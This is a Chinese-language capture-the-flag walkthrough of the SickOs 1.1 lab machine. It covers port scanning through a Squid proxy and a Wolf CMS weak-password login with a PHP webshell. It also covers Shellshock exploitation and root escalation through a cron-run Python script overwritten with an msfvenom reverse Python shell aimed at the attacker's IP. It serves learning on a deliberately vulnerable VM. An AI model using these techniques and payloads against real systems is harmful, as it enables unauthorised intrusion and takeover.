vulhub-sick0s1.1
- kali: 192.168.181.129
- sick0s1.1: 192.168.181.0/24 …
信息收集
主机发现、端口扫描、漏洞扫描
1 | nmap --min-rate 10000 -p- 192.168.181.140 |


1 | nmap -sU -p22,3128,8080 192.168.181.140 |


扫描结果分析
1 | 22 ssh 优先级排后 |
访问 8080 和 3128,失败,对 3128 进行目录扫描
1 | dirb http://192.168.181.140:3128/ |


解法一
失败,之前 nmap 的扫描信息中都说明存在代理,将 3128 作为代理,再次扫描
1 | # 将3128作为代理再次扫描 |
成功扫描到目录

配置代理并访问扫描到的 URL


提示存在 wolf cms

浏览器搜索该 csm 的后台管理登录页面,弱口令 admin/admin

进入后存在多个可能存在漏洞利用的点:替换php代码、上传文件、改文件权限、可复用的头文件和脚文件 head foot。
这里利用 管理页面 php 代码部署,写入木马,nc 进行端口监听,部署网页,并重新访问修改的页面。
补充:Files 中可以上传 php 文件,写入木马,蚁剑连接同样可以实现(上传文件的目录可以搜索或扫描得到)

获得目标 shell

查询权限,目录等一系列操作,当前用户 www-data 权限有限,在网站目录下存在 config 配置文件

其中有用户名和密码,记录下来

继续查看一些敏感目录/文件

1 | # 关注拥有shell环境的用户 |
ssh 尝试连接,这里用 root@xxx… 失败了,换个用户 sickos/john@123 连接成功

1 | # 查看权限 |
拥有所有权限,成功获取 flag

解法二
接代理扫描漏洞
1 | nikto -h 192.168.181.140 -useproxy http://192.168.181.140:3128 |
shellshock 一种影响 Bash shell 的严重安全漏洞(CVE-2014-6271),存在于 GNU Bash ≤ 4.3
当 Bash 解析环境变量时,如果变量值以
() { :; };开头,Bash 会将其当作函数定义,并继续执行后面的命令。

1 | # 漏洞测试 |

1 | # msfvenom 构造Payload |

同时 nc 监听,获取 shell

1 | uname -a |
其中存在一个 py 文件

若该文件是当前 系统/网站 可执行/触发 的脚本文件,那么将木马写入该文件,系统会自动触发
寻找系统的定时任务
1 | # 一般定时任务目录 |

cron.d 目录下的 automate 文件中存在定时任务
每分钟以 root 权限,运行 python 文件
接下来的操作和上面一样
1 | msfvenom -p cmd/unix/reverse_python Lhost=192.168.181.129 lport=444 -f raw |


成功获取 root 权限,获得 flag







